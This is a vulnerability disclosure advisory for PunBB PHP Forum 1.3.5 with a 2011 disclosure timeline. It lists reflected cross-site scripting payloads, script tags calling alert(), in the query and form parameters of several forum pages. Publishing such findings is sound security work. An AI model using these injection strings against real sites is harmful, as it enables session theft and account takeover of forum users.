PunBB PHP Forum 1.3.5 Cross Site Scripting

                                                Affected Software : PunBB PHP Forum
Severity          : Medium
Local/Remote      : Remote
Author            : @drk1wi

[Summary]

Just for those whom it might concern.
These vulnerabilities have been identified for the latest (clean 
version 1.3.5) during one of my penetration tests.

[Vulnerability Details]


GET 
/login.php?action=out&id=3&csrf_token=4b072f27396cec5d79"/><script>alert(oink)</script>
GET 
/misc.php?action=markforumread&fid=1&csrf_token=c173cabad786"/><script>alert(oink)</script>

POST /delete.php?id=>"'><script>alert(oink)</script>
form_sent=>"'><script>alert(oink)</script>&csrf_token=>"'><script>alert(oink)</script>&req_confirm=>"'><script>alert(oink)</script>&delete=>"'><script>alert(oink)</script>

POST /edit.php?id=>"'><script>alert(oink)</script>
form_sent=>"'><script>alert(oink)</script>&csrf_token=>"'><script>alert(oink)</script>&req_message=>"'><script>alert(oink)</script>&submit=>"'><script>alert(oink)</script>

POST /login.php?action=>"'><script>alert(oink)</script>
form_sent=>"'><script>alert(oink)</script>&csrf_token=>"'><script>alert(oink)</script>&req_email=>"'><script>alert(oink)</script>&request_pass=>"'><script>alert(oink)</script>

POST /misc.php?email=>"'><script>alert(oink)</script>
form_sent=>"'><script>alert(oink)</script>&redirect_url=>"'><script>alert(oink)</script>&csrf_token=>"'><script>alert(oink)</script>&req_subject=>"'><script>alert(oink)</script>&req_message=>"'><script>alert(oink)</script>&submit=>"'><script>alert(oink)</script>

POST 
/profile.php?action=>"'><script>alert(oink)</script>&id=>"'><script>alert(oink)</script>
form_sent=>"'><script>alert(oink)</script>&csrf_token=>"'><script>alert(oink)</script>&req_old_password=>"'><script>alert(oink)</script>&req_new_password1=>"'><script>alert(oink)</script>&req_new_password2=>"'><script>alert(oink)</script>&update=>"'><script>alert(oink)</script>

POST /register.php?action=>"'><script>alert(oink)</script>
form_sent=>"'><script>alert(oink)</script>&csrf_token=>"'><script>alert(oink)</script>&req_username=>"'><script>alert(oink)</script>&req_password1=>"'><script>alert(oink)</script>&req_password2=>"'><script>alert(369448)</script>&req_email1=>"'><script>alert(oink)</script>&timezone=>"'><script>alert(oink)</script>&register=>"'><script>alert(oink)</script>


[Time-line]

20/08/2011 - Vendor notified
02/09/2011 - No e-mail reply and BAN on Forum
???        - Vendor patch release
16/09/2011 - Public disclosure

[Fix Information]


Cheers,
Piotr Duszynski (@drk1wi)
http://sharpsec.net

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Copyright (c) 2011 Piotr "drk1wi" Duszynski

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